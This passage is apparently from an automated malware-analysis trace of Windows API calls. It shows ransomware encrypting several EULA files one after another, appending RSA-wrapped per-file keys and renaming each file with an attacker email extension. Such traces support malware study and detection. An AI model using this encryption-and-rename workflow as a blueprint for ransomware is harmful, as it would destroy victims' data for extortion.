lpNumberOfBytesRead=0x2e3f9b4*=0x3e0c1, lpOverlapped=0x0) returned 1 [0156.710] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-254145, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.710] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e9eff8*, nNumberOfBytesToWrite=0x3e0c1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e9eff8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3e0c1, lpOverlapped=0x0) returned 1 [0156.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e9eff8 | out: hHeap=0x570000) returned 1 [0156.711] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3e0c1 [0156.711] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.711] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.712] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.712] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.712] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.712] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="nSkkjNmhvR9gW5oKnKRLFsTB8QZO1opxZO+EcHZLBm7zhuUO/jMHketJMeWAnOCo\nanfZsOlvpJwfWhArYSKWM7b926B3t7rX3hgbm4EGl7iuhphDgq842JMruvasyEdk\nRNrK2ThyeEAogng7KcDfq2qmA4obUHgWhSMDSHy8GbkUKRpnPwr44/0sDtylNNBG\nQ2LOql3r20IVPrSZzgSSvEW7H/OrqAicDm+ibyxIc8/SXQj1G+MpK0AAKO4fOxAN\nw/Lgb3yWPxf+nmfd4d0koimtUeTqq9HjiBrwiww4xAOEFhvGlG5g71VcAPy4wuwa\n8e1tse06YWMtTIzfDoIPaw==\n", pcchString=0x2e3f9a8) returned 1 [0156.712] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.712] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.712] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.712] CloseHandle (hObject=0x6e8) returned 1 [0156.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.713] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0156.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0156.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654330 | out: hHeap=0x570000) returned 1 [0156.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654240 | out: hHeap=0x570000) returned 1 [0156.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654678 [0156.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.714] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.714] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm", dwFileAttributes=0x80) returned 1 [0156.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654240 [0156.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0156.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654240 | out: hHeap=0x570000) returned 1 [0156.715] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0156.715] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=70391) returned 1 [0156.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x112f7) returned 0x6548b8 [0156.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x112f7) returned 0x2e60f28 [0156.715] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x112f7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x112f7, lpOverlapped=0x0) returned 1 [0156.772] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-70391, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.772] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x112f7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x112f7, lpOverlapped=0x0) returned 1 [0156.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0156.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.773] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x112f7 [0156.773] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.773] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.773] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.773] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.774] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.774] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="p1gRtCU+vR7L8zhVHiSmRjNvSMQFAwDTQtHW4QE5OZgDyX9EY/Maw3d7g6FHH52t\noKZgLeM7P/pyVgbnfl11sD3SQGHE+2qOcrE4uO/jal5NBh1tQmHF/ohGlRoKsHU/\ng/HBqkCWi54tso0VW5ZsWIQCzCE6m1ABJVpZ9gowd8Ixr20KvX/JEE/sxIZuqDZD\n3hmTnmbPX/4elPUzAEhbYqcSAdRw4j1moM2kxQyvRfdsGg/0QRAIXrgu9+W6MPm3\nttCMh8l1QTQsWlqEtMSu/HZQRRo0pxkpdP20sOWGHkis0PAHBScSVFm50wQzMYOu\nHZrrfjUkVok2f67fwkDjTQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.774] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.774] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.774] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.774] CloseHandle (hObject=0x6e8) returned 1 [0156.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.774] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0156.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0156.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654678 | out: hHeap=0x570000) returned 1 [0156.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653fe8 | out: hHeap=0x570000) returned 1 [0156.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654240 [0156.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.781] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.781] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm", dwFileAttributes=0x80) returned 1 [0156.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6546f0 [0156.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0156.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6546f0 | out: hHeap=0x570000) returned 1 [0156.782] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0156.782] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=75552) returned 1 [0156.782] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12720) returned 0x6548b8 [0156.782] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12720) returned 0x2e60f28 [0156.783] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x12720, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x12720, lpOverlapped=0x0) returned 1 [0156.797] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-75552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.797] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x12720, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12720, lpOverlapped=0x0) returned 1 [0156.797] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0156.797] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.797] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12720 [0156.797] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.797] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.798] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.798] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.798] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.798] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.798] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="VOfNOfnSB+KIqf4Fyl1fTtsXrHFAVAoMhX/c+IVyl7lqZgfda43v2CKs7a9u7Kji\nhgxyLDX9KBktjSpWcqja3sTKbs4FlMN0WzzvQKhFwZA/qLAEE90PwDNhSBSipYEN\ne6z8w6CS2CB7VDVTKlLh/ul8LE8DjbxTO8ZRn6FYVqnyvMWT9OIPReTw+8KTD+V3\nPYLpxoqSP0CadtizOUrVx7bHKxNjFgUhxU5sy7G2N00pyCIsy+r99OsNPmPDeHH8\nicyJ2n1vcvKlSmfgepa3rLeFFdyYIBPUbz6TdgPvDB5+sF+dkOR/Tfxi0+GnEkfJ\nOV6H7IKmgfZ+AyLhSpFbGA==\n", pcchString=0x2e3f9a8) returned 1 [0156.798] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.798] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.798] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.798] CloseHandle (hObject=0x6e8) returned 1 [0156.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.800] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0156.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0156.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654240 | out: hHeap=0x570000) returned 1 [0156.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654510 | out: hHeap=0x570000) returned 1 [0156.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654678 [0156.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc918 [0156.803] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.803] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm", dwFileAttributes=0x80) returned 1 [0156.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654510 [0156.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0156.804] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654510 | out: hHeap=0x570000) returned 1 [0156.804] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0156.805] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=66159) returned 1 [0156.805] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1026f) returned 0x6548b8 [0156.805] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1026f) returned 0x2e60f28 [0156.805] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x1026f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1026f, lpOverlapped=0x0) returned 1 [0156.821] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-66159, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.821] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x1026f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1026f, lpOverlapped=0x0) returned 1 [0156.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0156.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.822] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1026f [0156.822] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.822] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.822] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.822] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.822] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.822] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="mI9Gag449guXOQ937VVMTBzD11lzKwKzH9wV8DpwMMEOI1Mm9MZkgexQgOh+HgLH\nXcQcOomEsgmId+R4qztsA5M3c6k9yCYle333Y5wirodbleLsFok3gDnnK9yYGW+t\njo2LR00++J8MWwQECQVHawc05WdH7eFHkIa/I+Im2el94BkY85FjDDPPk3bfHx0l\nPWAUaRTHy1z772DmKfDn0BlIdCHRpNOXJSHx/hcTKN/FQKkPXyF9imI4yke/5Y/g\n8zGFl90dSto4HokPp2pkMtTu8naT0sRbYICi+Wo77IU/vtJzYxAj2pjvXCpNF0vf\nh8X/kVnDl70dSXJmPUptDg==\n", pcchString=0x2e3f9a8) returned 1 [0156.823] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.823] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.823] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.823] CloseHandle (hObject=0x6e8) returned 1 [0156.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.823] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0156.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc918 | out: hHeap=0x570000) returned 1 [0156.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654678 | out: hHeap=0x570000) returned 1 [0156.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653d18 | out: hHeap=0x570000) returned 1 [0156.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654678 [0156.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0156.825] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.825] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm", dwFileAttributes=0x80) returned 1 [0156.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654240 [0156.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0156.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654240 | out: hHeap=0x570000) returned 1 [0156.826] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0156.826] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=81953) returned 1 [0156.826] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14021) returned 0x6548b8 [0156.826] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14021) returned 0x2e60f28 [0156.826] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x14021, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x14021, lpOverlapped=0x0) returned 1 [0156.837] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-81953, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.837] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x14021, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14021, lpOverlapped=0x0) returned 1 [0156.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0156.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.838] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14021 [0156.838] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.838] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.838] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.838] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: 